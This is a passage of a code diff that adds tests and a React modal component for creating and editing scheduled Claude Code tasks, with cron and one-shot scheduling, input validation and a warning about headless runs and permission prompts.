Friday.")).toBeInTheDocument(); + + fireEvent.click(screen.getByRole("button", { name: "Hourly" })); + expect(field(/cron expression/i).value).toBe("0 * * * *"); + expect(screen.getByText("At :00 past every hour, every day.")).toBeInTheDocument(); + }); + + it("switches to a one-shot time and validates its format", async () => { + await renderEditor(); + fireEvent.change(field(/^name$/i), { target: { value: "one-off" } }); + fireEvent.change(field(/^prompt$/i), { target: { value: "commit" } }); + fireEvent.click(screen.getByRole("radio", { name: "Once" })); + + fireEvent.change(field(/run at/i), { target: { value: "tomorrow" } }); + await submit(); + expect(addScheduledTask).not.toHaveBeenCalled(); + expect(screen.getByRole("alert")).toHaveTextContent(/YYYY-MM-DD HH:MM/); + + fireEvent.change(field(/run at/i), { target: { value: "2099-12-25 09:05" } }); + await submit(); + expect(addScheduledTask).toHaveBeenCalledWith( + "p1", + expect.objectContaining({ scheduleKind: "once", schedule: "2099-12-25 09:05" }), + ); + }); + + it("warns that a headless run cannot answer a permission prompt", async () => { + // Bypass is the only mode where an unattended run is safe from stalling. + await renderEditor(null, { ...baseProject, permission_mode: "bypass" }); + expect(screen.getByText(/headless/i)).toBeInTheDocument(); + expect(screen.queryByText(/cannot answer a permission prompt/i)).toBeNull(); + }); + + it("spells out the stall risk in any non-Bypass mode", async () => { + await renderEditor(null, { ...baseProject, permission_mode: "default" }); + expect(screen.getByText(/cannot answer a permission prompt/i)).toBeInTheDocument(); + }); + + it("edits an existing task, carrying its enabled state and warning about the new id", async () => { + const { onSaved, onClose } = await renderEditor(existingTask); + expect(field(/^name$/i).value).toBe("nightly"); + expect(field(/cron expression/i).value).toBe("0 3 * * *"); + expect(field(/working directory/i).value).toBe("/workspace/api"); + // The id changes on edit; the user is told before they save. + expect(screen.getByText(/re-creates this task under a new id/i)).toBeInTheDocument(); + + fireEvent.change(field(/^name$/i), { target: { value: "nightly-v2" } }); + await submit(); + + expect(updateScheduledTask).toHaveBeenCalledWith( + "p1", + "a1b2c3d4", + expect.objectContaining({ name: "nightly-v2", workingDir: "/workspace/api" }), + false, // the task was disabled and must not come back enabled + ); + expect(onSaved).toHaveBeenCalled(); + expect(onClose).toHaveBeenCalled(); + }); + + it("surfaces a backend rejection instead of closing", async () => { + addScheduledTask.mockRejectedValueOnce(new Error("Container is not running")); + const { onClose } = await renderEditor(); + fireEvent.change(field(/^name$/i), { target: { value: "nightly" } }); + fireEvent.change(field(/^prompt$/i), { target: { value: "do the thing" } }); + await submit(); + + expect(screen.getByRole("alert")).toHaveTextContent(/Container is not running/); + expect(onClose).not.toHaveBeenCalled(); + }); +}); diff --git a/app/src/components/projects/home/TaskEditorModal.tsx b/app/src/components/projects/home/TaskEditorModal.tsx new file mode 100644 index 0000000..7e4d34f --- /dev/null +++ b/app/src/components/projects/home/TaskEditorModal.tsx @@ -0,0 +1,329 @@ +import { useId, useMemo, useRef, useState } from "react"; +import type { Project, ScheduledTask, ScheduledTaskInput, ScheduleKind } from "../../../lib/types"; +import { addScheduledTask, updateScheduledTask } from "../../../lib/tauri-commands"; +import { effectivePermissionMode, PERMISSION_MODES } from "../PermissionModeControl"; +import Button from "../../ui/Button"; +import Modal from "../../ui/Modal"; +import SegmentedControl from "../../ui/SegmentedControl"; +import { inputClass, monoInputClass } from "../../ui/Field"; +import { + atTimestampIsPast, + CRON_PRESETS, + DEFAULT_WORKING_DIR, + describeCron, + MAX_TASK_PROMPT_LEN, + validateAtTimestamp, + validateCronExpression, + validateTaskName, + validateTaskPrompt, + validateWorkingDir, +} from "./taskValidation"; + +interface Props { + project: Project; + /** `null` creates a new task; a task edits it in place. */ + task: ScheduledTask | null; + onClose: () => void; + /** Called after the scheduler accepted the change, to refresh the list. */ + onSaved: () => void; +} + +const DEFAULT_CRON = "0 9 * * *"; + +/** `YYYY-MM-DD HH:MM`, one hour from now, as the one-shot default. */ +function defaultAtTimestamp(now = new Date()): string { + const at = new Date(now.getTime() + 60 * 60 * 1000); + at.setSeconds(0, 0); + const pad = (n: number) => String(n).padStart(2, "0"); + return `${at.getFullYear()}-${pad(at.getMonth() + 1)}-${pad(at.getDate())} ${pad( + at.getHours(), + )}:${pad(at.getMinutes())}`; +} + +/** + * Create or edit a `triple-c-scheduler` task. + * + * Validation here mirrors the backend so mistakes surface before a round trip; + * the backend re-checks everything regardless. + */ +export default function TaskEditorModal({ project, task, onClose, onSaved }: Props) { + const formId = useId(); + const nameRef = useRef(null); + + const [name, setName] = useState(task?.name ?? ""); + const [prompt, setPrompt] = useState(task?.prompt ?? ""); + const [workingDir, setWorkingDir] = useState(task?.working_dir ?? DEFAULT_WORKING_DIR); + const [kind, setKind] = useState( + task?.task_type === "once" ? "once" : "recurring", + ); + const [cron, setCron] = useState( + task && task.task_type !== "once" ? task.schedule : DEFAULT_CRON, + ); + const [at, setAt] = useState(task?.at ?? defaultAtTimestamp()); + + const [showAllErrors, setShowAllErrors] = useState(false); + const [touched, setTouched] = useState>({}); + const [saving, setSaving] = useState(false); + const [submitError, setSubmitError] = useState(null); + + const errors = { + name: validateTaskName(name), + prompt: validateTaskPrompt(prompt), + workingDir: validateWorkingDir(workingDir), + schedule: kind === "recurring" ? validateCronExpression(cron) : validateAtTimestamp(at), + }; + const hasErrors = Object.values(errors).some(Boolean); + + const show = (field: keyof typeof errors) => + (showAllErrors || touched[field]) && errors[field] ? errors[field] : null; + + const cronReading = useMemo(() => describeCron(cron), [cron]); + const atIsPast = kind === "once" && atTimestampIsPast(at); + + const mode = effectivePermissionMode(project); + const modeLabel = PERMISSION_MODES.find((m) => m.value === mode)?.label ?? mode; + + const handleSubmit = async (e: React.FormEvent) => { + e.preventDefault(); + setShowAllErrors(true); + setSubmitError(null); + if (hasErrors) return; + + const input: ScheduledTaskInput = { + name: name.trim(), + prompt: prompt.trim(), + scheduleKind: kind, + schedule: kind === "recurring" ? cron.trim() : at.trim(), + workingDir: workingDir.trim() || DEFAULT_WORKING_DIR, + }; + + setSaving(true); + try { + if (task) { + await updateScheduledTask(project.id, task.id, input, task.enabled); + } else { + await addScheduledTask(project.id, input); + } + onSaved(); + onClose(); + } catch (err) { + setSubmitError(String(err)); + } finally { + setSaving(false); + } + }; + + const errorText = (message: string | null) => + message ? ( +

+ {message} +

+ ) : null; + + return ( + + + + + } + > +
+ {/* Name */} +
+ + setName(e.target.value)} + onBlur={() => setTouched((t) => ({ ...t, name: true }))} + placeholder="nightly-tests" + aria-invalid={show("name") ? true : undefined} + className={inputClass} + /> + {errorText(show("name"))} +
+ + {/* Prompt */} +
+ +

+ What Claude Code is asked to do on each run. +

+